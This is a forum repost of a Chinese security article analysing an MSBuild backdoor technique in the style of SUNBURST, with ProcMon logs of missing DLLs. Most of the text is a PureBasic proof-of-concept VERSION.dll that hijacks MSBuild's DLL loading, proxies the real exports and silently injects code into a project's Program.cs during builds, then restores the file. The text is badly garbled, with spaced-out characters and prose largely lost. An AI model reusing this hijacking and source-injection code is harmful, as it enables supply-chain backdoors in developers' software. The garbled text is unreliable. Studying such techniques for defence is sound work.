[16430] 2021-02-12_MSBuild后门技术分析

文档创建者:s7ckTeam
浏览次数:2
最后更新:2025-01-18
2021-02-12_MSBuild后门技术分析 M S B u i l d A l p h a _ h 4 c k   F r e e B u f   2 0 2 1 - 0 2 - 1 2 2 0 2 0 S o l a r W i n d s S o l a r W i n d s   O r i o n 2 0 2 1 1 1 1 C r o w d S t r i k e S o l a r W i n d s S U N B U R S T S o l a r W i n d s   O r i o n C r o w d S t r i k e S U N B U R S T M S B u i l d . e x e S U N B U R S T M S B u i l d M S B u i l d 使 X M L M S B u i l d . e x e . N E T . N E T 使 v e r s i o n . d l l 使 C : W i n d o w s M i c r o s o f t . N E T F r a m e w o r k 6 4 v 4 . 0 . 3 0 3 1 9 M S B u i l d . e x e   S o m e P r o j e c t . s l n   / t : B u i l d   / p : C o n f i g u r a t i o n = R e l e a s e ; P l a t f o r m = W i n 6 4 使 P r o c M o n M S B u i l d . e x e D L L M S B u i l d . e x e C # C s c . e x e C r o w d S t r i k e M S B u i l d . e x e V E R S I O N . d l l V E R S I O N . d l l 1 7 { " t y p e " : " l o a d - n o t - f o u n d - d l l " , " e v e n t _ p a t h " : " C : W i n d o w s M i c r o s o f t . N E T F r a m e w o r k 6 4 v 4 . 0 . 3 0 3 1 9 m s c o r e e . d l l " , " p r o c e s s _ i m a g e _ p a t h " : " C : W i n d o w s M i c r o s o f t . N E T F r a m e w o r k 6 4 v 4 . 0 . 3 0 3 1 9 M S B u i l d . e x e " { " t y p e " : " l o a d - n o t - f o u n d - d l l " , " e v e n t _ p a t h " : " C : W i n d o w s M i c r o s o f t . N E T F r a m e w o r k 6 4 v 4 . 0 . 3 0 3 1 9 o l e 3 2 . d l l " , " p r o c e s s _ i m a g e _ p a t h " : " C : W i n d o w s M i c r o s o f t . N E T F r a m e w o r k 6 4 v 4 . 0 . 3 0 3 1 9 M S B u i l d . e x e " { " t y p e " : " l o a d - n o t - f o u n d - d l l " , " e v e n t _ p a t h " : " C : W i n d o w s M i c r o s o f t . N E T F r a m e w o r k 6 4 v 4 . 0 . 3 0 3 1 9 a p i - m s - w i n - c o r e - w i n r t - l 1 - 1 - 0 . d l l " , " p r o c e s s _ i m a g e _ p a t h " : " C : W i n d o w s M i c r o s o f t . N E T F r a m e w o r k 6 4 v 4 . 0 . 3 0 3 1 9 M S B u i l d . e x e " { " t y p e " : " l o a d - n o t - f o u n d - d l l " , " e v e n t _ p a t h " : " C : W i n d o w s M i c r o s o f t . N E T F r a m e w o r k 6 4 v 4 . 0 . 3 0 3 1 9 V E R S I O N . d l l " , " p r o c e s s _ i m a g e _ p a t h " : " C : W i n d o w s M i c r o s o f t . N E T F r a m e w o r k 6 4 v 4 . 0 . 3 0 3 1 9 M S B u i l d . e x e " { " t y p e " : " l o a d - n o t - f o u n d - d l l " , " e v e n t _ p a t h " : " C : W i n d o w s M i c r o s o f t . N E T F r a m e w o r k 6 4 v 4 . 0 . 3 0 3 1 9 a p i - m s - w i n - c o r e - w i n r t - s t r i n g - l 1 - 1 - 0 . d l l " , " p r o c e s s _ i m a g e _ p a t h " : " C : W i n d o w s M i c r o s o f t . N E T F r a m e w o r k 6 4 v 4 . 0 . 3 0 3 1 9 M S B u i l d . e x e " { " t y p e " : " l o a d - n o t - f o u n d - d l l " , " e v e n t _ p a t h " : " C : W i n d o w s M i c r o s o f t . N E T F r a m e w o r k 6 4 v 4 . 0 . 3 0 3 1 9 s x s . d l l " , " p r o c e s s _ i m a g e _ p a t h " : " C : W i n d o w s M i c r o s o f t . N E T F r a m e w o r k 6 4 v 4 . 0 . 3 0 3 1 9 M S B u i l d . e x e " { " t y p e " : " l o a d - n o t - f o u n d - d l l " , " e v e n t _ p a t h " : " C : W i n d o w s M i c r o s o f t . N E T F r a m e w o r k 6 4 v 4 . 0 . 3 0 3 1 9 W i n d o w s C o d e c s . d l l " , " p r o c e s s _ i m a g e _ p a t h " : " C : W i n d o w s M i c r o s o f t . N E T F r a m e w o r k 6 4 v 4 . 0 . 3 0 3 1 9 M S B u i l d . e x e " { " t y p e " : " l o a d - n o t - f o u n d - d l l " , " e v e n t _ p a t h " : " C : W i n d o w s M i c r o s o f t . N E T F r a m e w o r k 6 4 v 4 . 0 . 3 0 3 1 9 V E R S I O N . d l l " , " p r o c e s s _ i m a g e _ p a t h " : " C : W i n d o w s M i c r o s o f t . N E T F r a m e w o r k 6 4 v 4 . 0 . 3 0 3 1 9 C s c . e x e " { " t y p e " : " l o a d - n o t - f o u n d - d l l " , " e v e n t _ p a t h " : " C : W i n d o w s M i c r o s o f t . N E T F r a m e w o r k 6 4 v 4 . 0 . 3 0 3 1 9 m s c o r e e . d l l " , " p r o c e s s _ i m a g e _ p a t h " : " C : W i n d o w s M i c r o s o f t . N E T F r a m e w o r k 6 4 v 4 . 0 . 3 0 3 1 9 C s c . e x e " _ _ e x p o r t _ n a m e ( G e t F i l e V e r s i o n I n f o A ) _ _ e x p o r t _ n a m e ( G e t F i l e V e r s i o n I n f o B y H a n d l e ) _ _ e x p o r t _ n a m e ( G e t F i l e V e r s i o n I n f o E x A ) _ _ e x p o r t _ n a m e ( G e t F i l e V e r s i o n I n f o E x W ) _ _ e x p o r t _ n a m e ( G e t F i l e V e r s i o n I n f o S i z e A ) _ _ e x p o r t _ n a m e ( G e t F i l e V e r s i o n I n f o S i z e E x A )
P o C P o C D L L P o C P u r e B a s i c - / V E R S I O N . d l l . N E T m o c k D L L G e t F i l e V e r s i o n I n f o S i z e W D l l M a i n G e t F i l e V e r s i o n I n f o S i z e W G e t F i l e V e r s i o n I n f o S i z e W P o C G e t F i l e V e r s i o n I n f o S i z e W D L L _ P R O C E S S _ D E T A C H D l l M a i n V E R S I O N . d l l M S B u i l d M S B u i l d _ _ e x p o r t _ n a m e ( G e t F i l e V e r s i o n I n f o S i z e E x W ) _ _ e x p o r t _ n a m e ( G e t F i l e V e r s i o n I n f o S i z e W ) _ _ e x p o r t _ n a m e ( G e t F i l e V e r s i o n I n f o W ) _ _ e x p o r t _ n a m e ( V e r F i n d F i l e A ) _ _ e x p o r t _ n a m e ( V e r F i n d F i l e W ) _ _ e x p o r t _ n a m e ( V e r I n s t a l l F i l e A ) _ _ e x p o r t _ n a m e ( V e r I n s t a l l F i l e W ) _ _ e x p o r t _ n a m e ( V e r L a n g u a g e N a m e A ) _ _ e x p o r t _ n a m e ( V e r L a n g u a g e N a m e W ) _ _ e x p o r t _ n a m e ( V e r Q u e r y V a l u e A ) _ _ e x p o r t _ n a m e ( V e r Q u e r y V a l u e W )
;   * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * ;   *                                                                                                                                                   * ;   *   A u t h o r :             m a r p i e   ( m a r p i e @ a 1 2 d 4 0 4 . n e t )                                                                 * ;   *   L i c e n s e :           B S D   2 - c l a u s e                                                                                               * ;   *   C o p y r i g h t :       ( c )   2 0 2 1 ,   a 1 2 d 4 0 4 . n e t                                                                             * ;   *   S t a t u s :             P r o t o t y p e                                                                                                     * ;   *   C r e a t e d :           2 0 2 0 0 1 1 6                                                                                                       * ;   *   L a s t   U p d a t e :   2 0 2 0 0 1 1 7                                                                                                       * ;   *                                                                                                                                                   * ;   * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * E n a b l e E x p l i c i t ;   - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; -   C o n s t s # T A R G E T _ S O L U T I O N   =   " C o n s o l e A p p 1 . s l n " # B A C K D O O R _ C O D E   =   " p u b l i c   C l a s s 1 ( )   {   C o n s o l e . W r i t e L i n e ( "   +   C h r ( 3 4 )   +   " H e l l o   f r o m   t h e   S t a t i c   i n i t i a l i z e r ! "   +   C h r ( 3 4 )   +   " ) ;   } " # B A C K D O O R _ I N S E R T _ A F T E R   =   " c l a s s   C l a s s 1   { " # B A C K D O O R _ A L I V E   =   $ c 4 5 c 9 b d a 8 d b 1 # M I N _ S I Z E   =   1 0 0   ;   1 0 0   b y t e s ;   - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; -   V a r i a b l e s G l o b a l   m u x . i   =   # N u l l             ;   s e t   i n   D L L _ P R O C E S S _ A T T A C H G l o b a l   h V e r s i o n . i   =   # N u l l   ;   o r i g   v e r s i o n . d l l   h a n d l e G l o b a l   a c t i v e . i   =   0               ;   c h e c k e d   i n   C l e a n u p B a c k d o o r G l o b a l   o r i g C o n t e n t . s   =   " "       ;   p t r   t o   m e m o r y   o f   t h e   o r i g i n a l   s o u r c e G l o b a l   o r i g C o n t e n t S i z e . i   =   0   ;   s i z e   o f   t h e   o r i g i n a l   s o u r c e ;   - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; -   B a c k d o o r   H a n d l i n g P r o c e d u r e . s   G e t T a r g e t F i l e P a t h ( )     D e f i n e   i . i
    D e f i n e   i . i     D e f i n e   p a t h . s     F o r   i   =   0   T o   C o u n t P r o g r a m P a r a m e t e r s ( )         p a t h   =   P r o g r a m P a r a m e t e r ( i )         I f   C o u n t S t r i n g ( p a t h ,   # T A R G E T _ S O L U T I O N )   >   0             P r o c e d u r e R e t u r n   G e t P a t h P a r t ( p a t h )   +   " P r o g r a m . c s "         E n d I f     N e x t     P r o c e d u r e R e t u r n   " " E n d P r o c e d u r e P r o c e d u r e . b   R e a d O r i g C o n t e n t ( h F i l e . i )     D e f i n e   r e s . b   =   # F a l s e     F i l e S e e k ( h F i l e ,   0 ,   # P B _ A b s o l u t e )     D e f i n e   s i z e . i   =   L o f ( h F i l e )     D e f i n e   * m e m   =   A l l o c a t e M e m o r y ( s i z e )     I f   R e a d D a t a ( h F i l e ,   * m e m ,   s i z e )   < >   s i z e         G o t o   R e a d A l l C l e a n u p     E n d I f     o r i g C o n t e n t   =   P e e k S ( * m e m ,   s i z e ,   # P B _ U T F 8 )     o r i g C o n t e n t S i z e   =   L e n ( o r i g C o n t e n t )     r e s   =   # T r u e R e a d A l l C l e a n u p :     I f   * m e m         F r e e M e m o r y ( * m e m )     E n d I f     P r o c e d u r e R e t u r n   r e s E n d P r o c e d u r e ;   I n s e r t B a c k d o o r   n e e d s   t o   b e   c a l l e d   f r o m   a   f u n c t i o n   h o l i n g   m u x ! P r o c e d u r e . b   I n s e r t B a c k d o o r ( p a t h . s )     D e f i n e   r e s . b   =   # F a l s e     D e f i n e   h F i l e . i   =   O p e n F i l e ( # P B _ A n y ,   p a t h ,   # P B _ F i l e _ S h a r e d R e a d   |   # P B _ U T F 8 )     I f   N o t   h F i l e         P r o c e d u r e R e t u r n   r e s     E n d I f ;   r e a d   f i l e   c o n t e n t     I f   N o t   R e a d O r i g C o n t e n t ( h F i l e )         G o t o   I n s e r t B a c k d o o r E r r o r     E n d I f     ;   c h e c k   i f   t h e   r i g h t   c o d e   i s   p r e s e n t     D e f i n e   p o s . i   =   F i n d S t r i n g ( o r i g C o n t e n t ,   # B A C K D O O R _ I N S E R T _ A F T E R ) - 1     I f   p o s   <   0
        G o t o   I n s e r t B a c k d o o r E r r o r     E n d I f     ;   r e v e r t   f i l e   t o   0     F i l e S e e k ( h F i l e ,   0 ,   # P B _ A b s o l u t e )     T r u n c a t e F i l e ( h F i l e )     ;   w r i t e   c o n t e n t   t i l l   s t a r t   o f   b a c k d o o r     D e f i n e   w r i t e S i z e . i   =   p o s + L e n ( # B A C K D O O R _ I N S E R T _ A F T E R )     D e f i n e   s i z e L e f t   =   w r i t e S i z e     I f   W r i t e S t r i n g ( h F i l e ,   L e f t ( o r i g C o n t e n t ,   w r i t e S i z e ) ,   # P B _ U T F 8 )   =   0         ;   w e   s h o u l d   a d d   a   r e s t o r e   o f   t h e   o r i g i n a l   f i l e   h e r e         ;   . . .   d e p e n d i n g   o n   t h e   w r i t e   e r r o r   . . .         G o t o   I n s e r t B a c k d o o r E r r o r     E n d I f     ;   w r i t e   b a c k d o o r     w r i t e S i z e   =   L e n ( # B A C K D O O R _ C O D E )     I f   W r i t e S t r i n g ( h F i l e ,   # B A C K D O O R _ C O D E ,   # P B _ U T F 8 )   =   0         ;   w e   s h o u l d   a d d   a   r e s t o r e   o f   t h e   o r i g i n a l   f i l e   h e r e         ;   . . .   d e p e n d i n g   o n   t h e   w r i t e   e r r o r   . . .         G o t o   I n s e r t B a c k d o o r E r r o r     E n d I f     ;   w r i t e   r e s t   o f   f i l e     w r i t e S i z e   =   o r i g C o n t e n t S i z e - s i z e L e f t     I f   W r i t e S t r i n g ( h F i l e ,   R i g h t ( o r i g C o n t e n t ,   w r i t e S i z e ) ,   # P B _ U T F 8 )   =   0         ;   w e   s h o u l d   a d d   a   r e s t o r e   o f   t h e   o r i g i n a l   f i l e   h e r e         ;   . . .   d e p e n d i n g   o n   t h e   w r i t e   e r r o r   . . .         G o t o   I n s e r t B a c k d o o r E r r o r     E n d I f     r e s   =   # T r u e I n s e r t B a c k d o o r C l e a n u p :     C l o s e F i l e ( h F i l e )     P r o c e d u r e R e t u r n   r e s I n s e r t B a c k d o o r E r r o r :         I f   L e n ( o r i g C o n t e n t )   >   0         o r i g C o n t e n t   =   " "         o r i g C o n t e n t S i z e =   0     E n d I f     G o t o   I n s e r t B a c k d o o r C l e a n u p E n d P r o c e d u r e P r o c e d u r e   A c t i v a t e B a c k d o o r ( )     L o c k M u t e x ( m u x )     ;   c h e c k   i f   t h e   b a c k d o o r   i s   a l r e a d y   a l i v e
    ;   c h e c k   i f   t h e   b a c k d o o r   i s   a l r e a d y   a l i v e     I f   # B A C K D O O R _ A L I V E   =   a c t i v e         G o t o   A c t i v a t e B a c k d o o r C l e a n u p     E n d I f     ;   c h e c k   i f   w e   h a v e   t h e   r i g h t   s o l u t i o n     D e f i n e   t a r g e t F i l e p a t h . s   =   G e t T a r g e t F i l e P a t h ( )     I f   L e n ( t a r g e t F i l e p a t h )   <   1         G o t o   A c t i v a t e B a c k d o o r C l e a n u p     E n d I f     M e s s a g e R e q u e s t e r ( " A c t i v a t e B a c k d o o r " ,   " H e l l o   W o r l d   f r o m   S o l u t i o n :   "   +   # C R L F $   +   P r o g r a m P a r a m e t e r ( 0 ) )     ;   i n i t   b a c k d o o r     I f   I n s e r t B a c k d o o r ( t a r g e t F i l e p a t h )         a c t i v e   =   # B A C K D O O R _ A L I V E         M e s s a g e R e q u e s t e r ( " A c t i v a t e B a c k d o o r " ,   " . . .   b a c k d o o r   i n s e r e d   . . . " )     E l s e         M e s s a g e R e q u e s t e r ( " A c t i v a t e B a c k d o o r " ,   " . . .   b a c k d o o r i n g   f a i l e d   . . . " )     E n d I f A c t i v a t e B a c k d o o r C l e a n u p :     U n l o c k M u t e x ( m u x )     P r o c e d u r e R e t u r n E n d P r o c e d u r e P r o c e d u r e   C l e a n u p B a c k d o o r ( )     L o c k M u t e x ( m u x )     I f   # B A C K D O O R _ A L I V E   =   a c t i v e         a c t i v e   =   # N u l l         ;   D o   c l e a n u p   h e r e         I f   o r i g C o n t e n t S i z e   < >   0             D e f i n e   h F i l e . i   =   C r e a t e F i l e ( # P B _ A n y ,   G e t T a r g e t F i l e P a t h ( ) ,   # P B _ U T F 8 )             I f   h F i l e                 W r i t e S t r i n g ( h F i l e ,   o r i g C o n t e n t ,   # P B _ U T F 8 )                 C l o s e F i l e ( h F i l e )             E n d I f             o r i g C o n t e n t   =   " "             o r i g C o n t e n t S i z e   =   0         E n d I f     E n d I f C l e a n u p B a c k d o o r C l e a n u p :     U n l o c k M u t e x ( m u x )     P r o c e d u r e R e t u r n E n d P r o c e d u r e ;   - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
; -   D l l M a i n   S t u f f P r o c e d u r e D L L   A t t a c h P r o c e s s ( I n s t a n c e )     m u x   =   C r e a t e M u t e x ( ) E n d P r o c e d u r e P r o c e d u r e D L L   D e t a c h P r o c e s s ( I n s t a n c e )     C l e a n u p B a c k d o o r ( ) E n d P r o c e d u r e ;   - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; -   o r i g   V E R S I O N . d l l   S t u f f P r o c e d u r e . i   L o a d V e r s i o n D l l ( )     D e f i n e   r e s . i   =   # N u l l     L o c k M u t e x ( m u x )     I f   # N u l l   =   h V e r s i o n         ;   l o a d   v e r s i o n . d l l         D e f i n e   d l l P a t h . s   =   G e t E n v i r o n m e n t V a r i a b l e ( " w i n d i r " )   +   " s y s t e m 3 2 v e r s i o n . d l l "         h V e r s i o n   =   O p e n L i b r a r y ( # P B _ A n y ,   d l l P a t h )     E n d I f     r e s   =   h V e r s i o n C l e a n u p L o a d V e r s i o n D l l :     U n l o c k M u t e x ( m u x )     P r o c e d u r e R e t u r n   r e s E n d P r o c e d u r e ; B O O L   G e t F i l e V e r s i o n I n f o A ( ;     L P C S T R   l p t s t r F i l e n a m e , ;     D W O R D     d w H a n d l e , ;     D W O R D     d w L e n , ;     L P V O I D   l p D a t a ; ) ; P r o c e d u r e D L L . i   G e t F i l e V e r s i o n I n f o A ( a 1 . i ,   a 2 . l ,   a 3 . l ,   a 4 . i )     A c t i v a t e B a c k d o o r ( )     P r o c e d u r e R e t u r n   C a l l C F u n c t i o n ( L o a d V e r s i o n D l l ( ) ,   " G e t F i l e V e r s i o n I n f o A " ,   a 1 ,   a 2 ,   a 3 ,   a 4 ) E n d P r o c e d u r e ; B O O L   G e t F i l e V e r s i o n I n f o E x A ( ;     D W O R D     d w F l a g s , ;     L P C S T R   l p w s t r F i l e n a m e , ;     D W O R D     d w H a n d l e , ;     D W O R D     d w L e n , ;     L P V O I D   l p D a t a ; ) ; P r o c e d u r e D L L . i   G e t F i l e V e r s i o n I n f o E x A ( a 1 . l ,   a 2 . i ,   a 3 . l ,   a 4 . l ,   a 5 . i )
    A c t i v a t e B a c k d o o r ( )     P r o c e d u r e R e t u r n   C a l l C F u n c t i o n ( L o a d V e r s i o n D l l ( ) ,   " G e t F i l e V e r s i o n I n f o E x A " ,   a 1 ,   a 2 ,   a 3 ,   a 4 ,   a 5 ) E n d P r o c e d u r e ; B O O L   G e t F i l e V e r s i o n I n f o E x W ( ;     D W O R D       d w F l a g s , ;     L P C W S T R   l p w s t r F i l e n a m e , ;     D W O R D       d w H a n d l e , ;     D W O R D       d w L e n , ;     L P V O I D     l p D a t a ; ) ; P r o c e d u r e D L L . i   G e t F i l e V e r s i o n I n f o S i z e E x W ( a 1 . l ,   a 2 . i ,   a 3 . l ,   a 4 . l ,   a 5 . i )     A c t i v a t e B a c k d o o r ( )     P r o c e d u r e R e t u r n   C a l l C F u n c t i o n ( L o a d V e r s i o n D l l ( ) ,   " G e t F i l e V e r s i o n I n f o S i z e E x W " ,   a 1 ,   a 2 ,   a 3 ,   a 4 ,   a 5 ) E n d P r o c e d u r e ; D W O R D   G e t F i l e V e r s i o n I n f o S i z e A ( ;     L P C S T R     l p t s t r F i l e n a m e , ;     L P D W O R D   l p d w H a n d l e ; ) ; P r o c e d u r e D L L . i   G e t F i l e V e r s i o n I n f o S i z e A ( a 1 . i ,   a 2 . i )     A c t i v a t e B a c k d o o r ( )     P r o c e d u r e R e t u r n   C a l l C F u n c t i o n ( L o a d V e r s i o n D l l ( ) ,   " G e t F i l e V e r s i o n I n f o S i z e A " ,   a 1 ,   a 2 ) E n d P r o c e d u r e ; D W O R D   G e t F i l e V e r s i o n I n f o S i z e E x A ( ;     D W O R D       d w F l a g s , ;     L P C S T R     l p w s t r F i l e n a m e , ;     L P D W O R D   l p d w H a n d l e ; ) ; P r o c e d u r e D L L . i   G e t F i l e V e r s i o n I n f o S i z e E x A ( a 1 . l ,   a 2 . i ,   a 3 . i )     A c t i v a t e B a c k d o o r ( )     P r o c e d u r e R e t u r n   C a l l C F u n c t i o n ( L o a d V e r s i o n D l l ( ) ,   " G e t F i l e V e r s i o n I n f o S i z e E x A " ,   a 1 ,   a 2 ,   a 3 ) E n d P r o c e d u r e ; D W O R D   G e t F i l e V e r s i o n I n f o S i z e E x W ( ;     D W O R D       d w F l a g s , ;     L P C W S T R   l p w s t r F i l e n a m e , ;     L P D W O R D   l p d w H a n d l e ; ) ; P r o c e d u r e D L L . i   G e t F i l e V e r s i o n I n f o E x W ( a 1 . l ,   a 2 . i ,   a 3 . i )     A c t i v a t e B a c k d o o r ( )     P r o c e d u r e R e t u r n   C a l l C F u n c t i o n ( L o a d V e r s i o n D l l ( ) ,   " G e t F i l e V e r s i o n I n f o E x W " ,   a 1 ,   a 2 ,   a 3 ) E n d P r o c e d u r e
; D W O R D   G e t F i l e V e r s i o n I n f o S i z e W ( ;     L P C W S T R   l p t s t r F i l e n a m e , ;     L P D W O R D   l p d w H a n d l e ; ) ; P r o c e d u r e D L L . i   G e t F i l e V e r s i o n I n f o S i z e W ( a 1 . i ,   a 2 . i )     A c t i v a t e B a c k d o o r ( )     P r o c e d u r e R e t u r n   C a l l C F u n c t i o n ( L o a d V e r s i o n D l l ( ) ,   " G e t F i l e V e r s i o n I n f o E x W " ,   a 1 ,   a 2 ) E n d P r o c e d u r e ; B O O L   G e t F i l e V e r s i o n I n f o W ( ;     L P C W S T R   l p t s t r F i l e n a m e , ;     D W O R D       d w H a n d l e , ;     D W O R D       d w L e n , ;     L P V O I D     l p D a t a ; ) ; P r o c e d u r e D L L . i   G e t F i l e V e r s i o n I n f o W ( a 1 . i ,   a 2 . l ,   a 3 . l ,   a 4 . i )     A c t i v a t e B a c k d o o r ( )     P r o c e d u r e R e t u r n   C a l l C F u n c t i o n ( L o a d V e r s i o n D l l ( ) ,   " G e t F i l e V e r s i o n I n f o W " ,   a 1 ,   a 2 ,   a 3 ,   a 4 ) E n d P r o c e d u r e ;   i n t   h M e m ,   L P C W S T R   l p F i l e N a m e ,   i n t   v 2 ,   i n t   v 3 P r o c e d u r e D L L . i   G e t F i l e V e r s i o n I n f o B y H a n d l e ( a 1 . i ,   a 2 . i ,   a 3 . i ,   a 4 . l )     A c t i v a t e B a c k d o o r ( )     P r o c e d u r e R e t u r n   C a l l C F u n c t i o n ( L o a d V e r s i o n D l l ( ) ,   " G e t F i l e V e r s i o n I n f o B y H a n d l e " ,   a 1 ,   a 2 ,   a 3 ,   a 4 ) E n d P r o c e d u r e ; D W O R D   V e r F i n d F i l e A ( ;     D W O R D     u F l a g s , ;     L P C S T R   s z F i l e N a m e , ;     L P C S T R   s z W i n D i r , ;     L P C S T R   s z A p p D i r , ;     L P S T R     s z C u r D i r , ;     P U I N T     p u C u r D i r L e n , ;     L P S T R     s z D e s t D i r , ;     P U I N T     p u D e s t D i r L e n ; ) ; P r o c e d u r e D L L . i   V e r F i n d F i l e A ( a 1 . l ,   a 2 . i ,   a 3 . i ,   a 4 . i ,   a 5 . i ,   a 6 . i ,   a 7 . i ,   a 8 . i )     A c t i v a t e B a c k d o o r ( )     P r o c e d u r e R e t u r n   C a l l C F u n c t i o n ( L o a d V e r s i o n D l l ( ) ,   " V e r F i n d F i l e A " ,   a 1 ,   a 2 ,   a 3 ,   a 4 ,   a 5 ,   a 6 ,   a 7 ,   a 8 ) E n d P r o c e d u r e ; D W O R D   V e r F i n d F i l e W ( ;     D W O R D       u F l a g s , ;     L P C W S T R   s z F i l e N a m e , ;     L P C W S T R   s z W i n D i r ,
;     L P C W S T R   s z W i n D i r , ;     L P C W S T R   s z A p p D i r , ;     L P W S T R     s z C u r D i r , ;     P U I N T       p u C u r D i r L e n , ;     L P W S T R     s z D e s t D i r , ;     P U I N T       p u D e s t D i r L e n ; ) ; P r o c e d u r e D L L . i   V e r F i n d F i l e W ( a 1 . l ,   a 2 . i ,   a 3 . i ,   a 4 . i ,   a 5 . i ,   a 6 . i ,   a 7 . i ,   a 8 . i )     A c t i v a t e B a c k d o o r ( )     P r o c e d u r e R e t u r n   C a l l C F u n c t i o n ( L o a d V e r s i o n D l l ( ) ,   " V e r F i n d F i l e W " ,   a 1 ,   a 2 ,   a 3 ,   a 4 ,   a 5 ,   a 6 ,   a 7 ,   a 8 ) E n d P r o c e d u r e ; D W O R D   V e r I n s t a l l F i l e A ( ;     D W O R D     u F l a g s , ;     L P C S T R   s z S r c F i l e N a m e , ;     L P C S T R   s z D e s t F i l e N a m e , ;     L P C S T R   s z S r c D i r , ;     L P C S T R   s z D e s t D i r , ;     L P C S T R   s z C u r D i r , ;     L P S T R     s z T m p F i l e , ;     P U I N T     p u T m p F i l e L e n ; ) ; P r o c e d u r e D L L . i   V e r I n s t a l l F i l e A ( a 1 . l ,   a 2 . i ,   a 3 . i ,   a 4 . i ,   a 5 . i ,   a 6 . i ,   a 7 . i ,   a 8 . i )     A c t i v a t e B a c k d o o r ( )     P r o c e d u r e R e t u r n   C a l l C F u n c t i o n ( L o a d V e r s i o n D l l ( ) ,   " V e r I n s t a l l F i l e A " ,   a 1 ,   a 2 ,   a 3 ,   a 4 ,   a 5 ,   a 6 ,   a 7 ,   a 8 ) E n d P r o c e d u r e ; D W O R D   V e r I n s t a l l F i l e W ( ;     D W O R D       u F l a g s , ;     L P C W S T R   s z S r c F i l e N a m e , ;     L P C W S T R   s z D e s t F i l e N a m e , ;     L P C W S T R   s z S r c D i r , ;     L P C W S T R   s z D e s t D i r , ;     L P C W S T R   s z C u r D i r , ;     L P W S T R     s z T m p F i l e , ;     P U I N T       p u T m p F i l e L e n ; ) ; P r o c e d u r e D L L . i   V e r I n s t a l l F i l e W ( a 1 . l ,   a 2 . i ,   a 3 . i ,   a 4 . i ,   a 5 . i ,   a 6 . i ,   a 7 . i ,   a 8 . i )     A c t i v a t e B a c k d o o r ( )     P r o c e d u r e R e t u r n   C a l l C F u n c t i o n ( L o a d V e r s i o n D l l ( ) ,   " V e r I n s t a l l F i l e W " ,   a 1 ,   a 2 ,   a 3 ,   a 4 ,   a 5 ,   a 6 ,   a 7 ,   a 8 ) E n d P r o c e d u r e ; D W O R D   V e r L a n g u a g e N a m e A ( ;     D W O R D   w L a n g ,
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则